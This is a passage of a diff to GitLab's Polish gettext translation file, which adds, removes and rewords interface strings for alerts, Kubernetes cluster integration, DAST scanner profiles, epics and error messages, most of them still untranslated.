+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -755,6 +779,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -784,6 +811,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -799,6 +829,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -882,6 +915,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -915,6 +951,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -924,7 +963,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -970,6 +1024,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1204,15 +1261,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1276,7 +1324,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1294,6 +1342,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1396,6 +1447,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1507,6 +1561,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1541,12 +1598,6 @@ msgstr[3] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1661,6 +1712,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1673,6 +1727,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1685,6 +1742,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1964,6 +2024,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1979,6 +2042,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2208,6 +2274,9 @@ msgstr[3] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2238,7 +2307,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2295,9 +2364,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2310,6 +2376,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2352,16 +2421,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2391,7 +2457,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2490,6 +2556,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2637,6 +2706,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2703,6 +2775,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2775,9 +2850,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2919,13 +3003,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
+msgid "An error occurred while saving LDAP override status. Please try again."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2952,12 +3039,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr "Wystąpił błąd podczas aktualizacji komentarza"
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -3036,6 +3129,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3259,6 +3355,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3271,6 +3370,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3286,9 +3388,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3397,7 +3496,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3409,9 +3508,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3424,6 +3520,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3687,7 +3786,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3765,6 +3864,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3891,7 +3993,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -4005,6 +4107,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -4074,13 +4179,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4275,6 +4383,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4449,6 +4560,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4482,10 +4596,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4506,7 +4620,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4692,9 +4806,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4920,7 +5031,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -5088,9 +5199,15 @@ msgstr "jest niedostępna: %{reason}"
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5196,6 +5313,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5229,19 +5349,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5289,13 +5415,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5313,6 +5442,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5352,15 +5484,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
-msgstr "Wybierz aplikacje do zainstalowania w Twoim klastrze Kubernetes. Do zainstalowania dowolnej z poniższych aplikacji wymagany jest Helm Tiller."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
+msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "Wybierz, które z Twoich środowisk będą używać tego klastra."
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5385,6 +5514,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5568,9 +5700,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr "Helm usprawnia instalację i zarządzanie aplikacjami Kubernetes. Tiller uruchamia się wewnątrz Klastra Kubernetes i zarządza publikacjami Twoich wykresów."
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "Jeśli konfigurujesz wiele klastrów i używasz Auto DevOps, %{help_link_start}zapoznaj się najpierw z tym%{help_link_end}."
@@ -5766,7 +5895,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5985,12 +6114,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -6030,15 +6162,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -6063,6 +6207,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -6078,9 +6225,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -6111,7 +6255,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6288,6 +6432,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6490,7 +6640,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6949,9 +7099,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -7036,6 +7183,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -7048,6 +7198,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -7072,15 +7225,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -7111,6 +7270,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -7126,6 +7288,13 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Create"
msgstr ""
@@ -7216,6 +7385,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7252,6 +7424,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7276,6 +7451,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7447,6 +7625,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7543,6 +7724,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7709,6 +7899,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7739,25 +7932,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7766,7 +7989,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7778,6 +8010,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7787,12 +8022,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7865,7 +8157,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7943,10 +8235,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -8003,6 +8295,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
